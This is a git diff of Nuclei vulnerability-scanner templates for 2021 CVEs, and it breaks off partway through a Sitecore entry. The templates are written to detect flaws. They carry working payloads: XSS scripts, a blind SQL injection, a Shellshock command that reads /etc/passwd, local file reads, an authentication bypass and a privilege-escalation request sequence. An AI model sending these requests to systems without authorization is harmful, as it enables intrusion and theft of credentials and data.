    26" class="loginUserNameText' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + + extractors: + - type: regex + name: csrfp_login + group: 1 + regex: + - 'csrfp_login=([a-zA-Z0-9]+);' + internal: true + part: header +# digest: 490a0046304402204bbeed6302fbd74c4981446c4aec420dbd5e6b911f5f7a14f3e8b4d768c306fb02203c509944c3d418204a9b643c3a66e02ed59a5d53806b11c6c38444b56c217f79:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-37416.yaml b/nuclei-templates/CVE-2021/cve-2021-37416.yaml new file mode 100644 index 0000000000..7f39e871e9 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-37416.yaml @@ -0,0 +1,55 @@ +id: CVE-2021-37416 + +info: + name: Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting + author: edoardottt + severity: medium + description: Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser. + remediation: | + Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 + - https://blog.stmcyber.com/vulns/cve-2021-37416/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-37416 + cwe-id: CWE-79 + epss-score: 0.00118 + epss-percentile: 0.44933 + cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: zohocorp + product: manageengine_adselfservice_plus + shodan-query: http.title:"ManageEngine" + tags: cve2021,cve,zoho,xss,zohocorp + +http: + - method: GET + path: + - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "text/html" + + - type: word + part: body + words: + - ">" + - "adsf/js/" + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022044a740d43743d6c86fa99d1d71e6331299ee72fdbcb93c5f5229ef1619021774022038b22cd63d9a3535d35f2588fddc0cfbfa48e7507fadda3beef37fbc2d36a204:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-37573.yaml b/nuclei-templates/CVE-2021/cve-2021-37573.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-37573.yaml rename to nuclei-templates/CVE-2021/cve-2021-37573.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-37589.yaml b/nuclei-templates/CVE-2021/cve-2021-37589.yaml deleted file mode 100644 index a7ffd6b5a4..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-37589.yaml +++ /dev/null @@ -1,66 +0,0 @@ -id: CVE-2021-37589 - -info: - name: Virtua Software Cobranca <12R - Blind SQL Injection - author: princechaddha - severity: high - description: | - Virtua Cobranca before 12R allows blind SQL injection on the login page. - impact: | - Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying system. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R. - reference: - - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589 - - https://www.virtuasoftware.com.br/ - - https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br - - https://nvd.nist.gov/vuln/detail/CVE-2021-37589 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-37589 - cwe-id: CWE-89 - epss-score: 0.00661 - epss-percentile: 0.77395 - cpe: cpe:2.3:a:virtuasoftware:cobranca:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 3 - vendor: virtuasoftware - product: cobranca - shodan-query: http.favicon.hash:876876147 - tags: cve,cve2021,virtua,sqli,virtuasoftware - -http: - - raw: - - | - POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - | - POST /controller/login.php?acao=autenticar HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-Requested-With: XMLHttpRequest - - idusuario='&idsenha=test&tipousr=Usuario - - | - POST /controller/login.php?acao=autenticar HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-Requested-With: XMLHttpRequest - - idusuario=''&idsenha=a&tipousr=Usuario - - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body_3, "Os parametros não estão informados corretamente")' - - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")' - condition: or - - - type: dsl - dsl: - - "status_code_2 == 500 && status_code_3 == 200" -# digest: 4a0a00473045022100bd23716f1545a3d6b6f9928e16ff24594ad46444ca7f5d2b0ff5781948e287ef0220786b038ec0a0a3a94e2643bab4e9fb9f4be5dfaf7002efdc42df3856ca18feeb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-37704.yaml b/nuclei-templates/CVE-2021/cve-2021-37704.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-37704.yaml rename to nuclei-templates/CVE-2021/cve-2021-37704.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-37859.yaml b/nuclei-templates/CVE-2021/cve-2021-37859.yaml new file mode 100644 index 0000000000..bf79ee3b8b --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-37859.yaml @@ -0,0 +1,27 @@ +id: CVE-2021-37859 + +info: + name: Mattermost XSS + author: imhunterand + severity: medium + description: reflected Cross-Site Scripting (XSS) via the OAuth flow + tags: cve,cve2021,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src%3D%22%22%20onerror%3D%22alert(document.domain)%22%3E" + + matchers-condition: and + matchers: + + - type: word + words: + - "" + part: body + condition: and + + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2021/cve-2021-38702.yaml b/nuclei-templates/CVE-2021/cve-2021-38702.yaml deleted file mode 100644 index cf51a9d3b3..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-38702.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2021-38702 - -info: - name: Cyberoam NetGenie XSS - author: geeknik - severity: medium - description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 allow for reflected Cross Site Scripting via the 'u' parameter of ft.php. - reference: https://seclists.org/fulldisclosure/2021/Aug/20 - tags: cve,cve2021,cyberoam,netgenie,xss,router - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-38702 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-39211.yaml b/nuclei-templates/CVE-2021/cve-2021-39211.yaml deleted file mode 100644 index bf41c7f981..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-39211.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2021-39211 - -info: - name: GLPI 9.2/<9.5.6 - Information Disclosure - author: dogasantos,noraj - severity: medium - description: GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - Information disclosure vulnerability in GLPI versions 9.2 to <9.5.6 allows an attacker to access sensitive information. - remediation: This issue is fixed in version 9.5.6. As a workaround, remove the file ajax/telemetry.php, which is not needed for usual GLPI functions. - reference: - - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825 - - https://github.com/glpi-project/glpi/releases/tag/9.5.6 - - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 - - https://github.com/ARPSyndicate/kenzer-templates - - https://github.com/StarCrossPortal/scalpel - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-39211 - cwe-id: CWE-200,NVD-CWE-noinfo - epss-score: 0.00161 - epss-percentile: 0.51768 - cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: glpi-project - product: glpi - tags: cve,cve2021,glpi,exposure,glpi-project - -http: - - method: GET - path: - - "{{BaseURL}}/ajax/telemetry.php" - - "{{BaseURL}}/glpi/ajax/telemetry.php" - - matchers-condition: and - matchers: - - type: word - words: - - '"uuid":' - - '"glpi":' - condition: and - - - type: status - status: - - 200 -# digest: 4b0a00483046022100fe062755f4b07576ae5328bf856241f5ea8ffcd7471aee2f20d0e81118a750f7022100963f6ecde4366021315b1d07dede1e4330917c47e2ac4b7068b9c2496b1cc675:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-39226.yaml b/nuclei-templates/CVE-2021/cve-2021-39226.yaml deleted file mode 100644 index 860051010c..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-39226.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2021-39226 - -info: - name: Grafana Snapshot authentication bypass - author: Evan Rubinstein - description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accesing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accesing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can delete snapshots by accesing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snappshot/:key, regardless of wether or not the snapshot is set to public mode (disabled by default). Make sure you obtain permission before testing the delete functionality, as this can cause a denial of service. As always, ensure that you test your results manually to ensure your findings are good. Happy Hunting! - reference: - - https://github.com/advisories/GHSA-69j6-29vr-p3j9 - - https://nvd.nist.gov/vuln/detail/CVE-2021-39226 - severity: critical - tags: cve,cve2021,grafana - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-39226 - cwe-id: CWE-200 - -requests: - - method: GET - path: - - "{{BaseURL}}/api/snapshots/:key" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '"isSnapshot":true' diff --git a/nuclei-templates/CVE-2021/cve-2021-39501.yaml b/nuclei-templates/CVE-2021/cve-2021-39501.yaml deleted file mode 100644 index 9db73ddfdc..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-39501.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2021-39501 - -info: - name: EyouCMS 1.5.4 Open Redirect - author: 0x_Akoko - severity: medium - description: EyouCMS 1.5.4 is vulnerable to Open Redirect. An attacker can redirect a user to a malicious url via the Logout function. - reference: - - https://github.com/eyoucms/eyoucms/issues/17 - - https://www.cvedetails.com/cve/CVE-2021-39501 - tags: cve,cve2021,redirect,eyoucms,cms - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-39501 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/index.php?m=user&c=Users&a=logout&referurl=https://example.com' - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-40149.yaml b/nuclei-templates/CVE-2021/cve-2021-40149.yaml deleted file mode 100644 index 2a6f0f19df..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-40149.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2021-40149 - -info: - name: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure - author: For3stCo1d - severity: medium - description: | - Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability. - impact: | - An attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera. - remediation: | - Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability. - reference: - - https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt - - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149 - - http://packetstormsecurity.com/files/167407/Reolink-E1-Zoom-Camera-3.0.0.716-Private-Key-Disclosure.html - - https://github.com/MrTuxracer/advisories - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 5.9 - cve-id: CVE-2021-40149 - cwe-id: CWE-552 - epss-score: 0.00942 - epss-percentile: 0.82739 - cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: reolink - product: e1_zoom_firmware - shodan-query: http.title:"Reolink" - tags: cve2021,cve,exposure,unauth,packetstorm,reolink,camera,iot - -http: - - method: GET - path: - - "{{BaseURL}}/self.key" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '(?m)^-----BEGIN PRIVATE KEY-----' - - - type: word - part: header - words: - - "application/json" - - "application/html" - condition: and - negative: true - - - type: status - status: - - 200 -# digest: 490a00463044022073d439d60074e5d1c5d1337480dffdffea8f90c2d58d768b7d08a2c4498f585a02201a7e02758d8c5b5caf499e37224e8921c170b88c2dcc0be46064b4d10546f7d8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-40150.yaml b/nuclei-templates/CVE-2021/cve-2021-40150.yaml deleted file mode 100644 index 2cbbd16b00..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-40150.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2021-40150 - -info: - name: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure - author: For3stCo1d - severity: high - description: | - Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI. - impact: | - An attacker can exploit this vulnerability to gain access to sensitive information, potentially compromising user privacy and security. - remediation: | - Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the information disclosure vulnerability (CVE-2021-40150). - reference: - - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt - - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150 - - https://nvd.nist.gov/vuln/detail/CVE-2021-40150 - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-40150 - cwe-id: CWE-552 - epss-score: 0.01099 - epss-percentile: 0.82891 - cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: reolink - product: e1_zoom_firmware - shodan-query: http.title:"Reolink" - tags: cve2021,cve,reolink,camera,exposure,iot - -http: - - method: GET - path: - - "{{BaseURL}}/conf/nginx.conf" - - matchers-condition: and - matchers: - - type: word - words: - - "server" - - "listen" - - "fastcgi" - condition: and - - - type: status - status: - - 200 -# digest: 4a0a0047304502202f6a6f1686de8b8b85a4c8c0e8a49bd69f1628bbea7bfd64bdfac2257741b25d022100f6dc5b8e874a47e6c22fa0f1890e646ce7ad62634e7547f215f4c2099198cd43:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-40323.yaml b/nuclei-templates/CVE-2021/cve-2021-40323.yaml deleted file mode 100644 index 77e64baeb8..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-40323.yaml +++ /dev/null @@ -1,99 +0,0 @@ -id: CVE-2021-40323 - -info: - name: Cobbler <3.3.0 Remote Code Execution - severity: critical - author: c-sh0 - description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method. - reference: - - https://github.com/cobbler/cobbler/releases/tag/v3.3.0 - - https://github.com/cobbler/cobbler/issues/2795 - - https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-40323 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-40323 - cwe-id: CWE-94 - tags: cve,cve2021,cobbler,rce - -requests: - - raw: - - | - POST {{BaseURL}}/cobbler_api HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - - - - find_profile - - - - - - name - - * - - - - - - - - - - | - POST {{BaseURL}}/cobbler_api HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - - - - generate_script - - - - {{profile}} - - - - - - - - - - /etc/passwd - - - - - - extractors: - - type: regex - name: profile - internal: true - group: 1 - regex: - - '(.*?)' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'text/xml' - - - type: regex - regex: - - "root:.*:0" - - "bin:.*:1" - - "nobody:.*:99" - condition: or - -# Enhanced by mp on 2022/03/16 diff --git a/nuclei-templates/CVE-2021/cve-2021-40856.yaml b/nuclei-templates/CVE-2021/cve-2021-40856.yaml new file mode 100644 index 0000000000..e1e6d537de --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-40856.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-40856 + +info: + name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass + author: gy741 + severity: high + description: Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data. + reference: + - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856 + tags: cve,cve2021,comfortel,auth-bypass,auerswald + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2021-40856 + cwe-id: CWE-287 + +requests: + - raw: + - | + GET /about/../tree?action=get HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"TYPE"' + - '"ITEMS"' + - '"COUNT"' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-40960.yaml b/nuclei-templates/CVE-2021/cve-2021-40960.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-40960.yaml rename to nuclei-templates/CVE-2021/cve-2021-40960.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41291.yaml b/nuclei-templates/CVE-2021/cve-2021-41291.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-41291.yaml rename to nuclei-templates/CVE-2021/cve-2021-41291.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41349.yaml b/nuclei-templates/CVE-2021/cve-2021-41349.yaml deleted file mode 100644 index 225d1a6a33..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-41349.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2021-41349 - -info: - name: Pre-Auth POST Based Reflected XSS in Microsoft Exchange - author: rootxharsh,iamnoooob - severity: medium - tags: cve,cve2021,xss,microsoft,exchange - description: Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-42305. - reference: - - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349 - - https://nvd.nist.gov/vuln/detail/CVE-2021-41349 - - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - cvss-score: 6.50 - cve-id: CVE-2021-41349 - -requests: - - raw: - - | - POST /autodiscover/autodiscover.json HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1 - - matchers-condition: and - matchers: - - type: word - words: - - 'alert(document.domain);' - - 'a=""' - condition: and - - - type: word - part: header - words: - - 'text/html' - - - type: status - status: - - 500 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-41569.yaml b/nuclei-templates/CVE-2021/cve-2021-41569.yaml new file mode 100644 index 0000000000..8368ef8fa0 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-41569.yaml @@ -0,0 +1,45 @@ +id: CVE-2021-41569 + +info: + name: SAS/Internet 9.4 1520 - Local File Inclusion + author: 0x_Akoko + severity: high + description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. + impact: | + Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. + remediation: | + Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application. + reference: + - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas + - https://support.sas.com/kb/68/641.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-41569 + cwe-id: CWE-829 + epss-score: 0.0083 + epss-percentile: 0.81604 + cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sas + product: sas\/intrnet + tags: cve2021,cve,sas,lfi + +http: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 +# digest: 490a00463044022066c668e47e843611630d49691212fcf0c77d83d76e23ee3b0951b7ec4c12eb2a022018dd9e916134bc6f5153f80143e684c17ed9de2d33bd2a74ba0140f345a91820:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-41826.yaml b/nuclei-templates/CVE-2021/cve-2021-41826.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-41826.yaml rename to nuclei-templates/CVE-2021/cve-2021-41826.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41878.yaml b/nuclei-templates/CVE-2021/cve-2021-41878.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-41878.yaml rename to nuclei-templates/CVE-2021/cve-2021-41878.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-42071.yaml b/nuclei-templates/CVE-2021/cve-2021-42071.yaml new file mode 100644 index 0000000000..81a1428461 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-42071.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-42071 + +info: + name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection + author: gy741 + severity: critical + description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. + reference: + - https://www.exploit-db.com/exploits/50098 + - https://nvd.nist.gov/vuln/detail/CVE-2021-42071 + classification: + cve-id: CVE-2021-42071 + tags: visualtools,rce,oast,injection + +requests: + - raw: + - | + GET /cgi-bin/slogin/login.py HTTP/1.1 + Host: {{Hostname}} + Accept: */* + User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + + +# Enhanced by mp on 2022/04/14 diff --git a/nuclei-templates/CVE-2021/cve-2021-42192.yaml b/nuclei-templates/CVE-2021/cve-2021-42192.yaml new file mode 100644 index 0000000000..a4cd97729f --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-42192.yaml @@ -0,0 +1,90 @@ +id: CVE-2021-42192 + +info: + name: KONGA 0.14.9 - Privilege Escalation + author: rschio + severity: high + description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information or perform unauthorized actions. + remediation: | + Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor. + reference: + - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html + - https://www.exploit-db.com/exploits/50521 + - hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192 + - https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing + - https://github.com/pantsel/konga/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2021-42192 + cwe-id: CWE-863 + epss-score: 0.04146 + epss-percentile: 0.91987 + cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: konga_project + product: konga + tags: cve2021,cve,authenticated,edb,konga,intrusive,konga_project + +http: + - raw: + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"password": "{{password}}", "identifier": "{{username}}"} + - | + POST /api/user/{{id}} HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Referer: {{BaseURL}} + Content-Type: application/json;charset=utf-8 + + {"token": "{{token}}"} + - | + PUT /api/user/{{id}} HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Referer: {{BaseURL}} + Content-Type: application/json;charset=utf-8 + + {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"} + + matchers-condition: and + matchers: + - type: dsl + dsl: + - contains(body_2, "\"admin\":false") + - contains(body_3, "\"admin\":true") + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 + + extractors: + - type: regex + name: id + group: 1 + regex: + - '"id":([0-9]+)' + internal: true + part: body + + - type: regex + name: token + group: 1 + regex: + - '"token":"(.*)"' + internal: true + part: body +# digest: 4b0a00483046022100fdd3cd578eccb46c7597fa360d4be47d04933a30e1027352fcb1360511dc0a98022100f80fb95b6ce25488c7e214ac936292ba31abd86939eb4972f6b9675d55f05272:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-42237.yaml b/nuclei-templates/CVE-2021/cve-2021-42237.yaml new file mode 100644 index 0000000000..34c06043d1 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-42237.yaml @@ -0,0 +1,119 @@ +id: CVE-2021-42237 + +info: + name: Sitecore Experience Platform Pre-Auth RCE + author: pdteam + severity: critical + description: Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability. + reference: + - https://blog.assetnote.io/2021/11/02/sitecore-rce/ + - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776 + - https://nvd.nist.gov/vuln/detail/CVE-2021-42237 + remediation: + For Sitecore XP 7.5.0 - Sitecore XP 7.5.2, use one of the following solutions- + - Upgrade your Sitecore XP instance to Sitecore XP 9.0.0 or higher. + - Consider the necessity of the Executive Insight Dashboard and remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. + - Upgrade your Sitecore XP instance to Sitecore XP 8.0.0 - Sitecore XP 8.2.7 version and apply the solution below. + - For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. + For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. + metadata: + shodan-query: http.title:"SiteCore" + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-42237 + cwe-id: 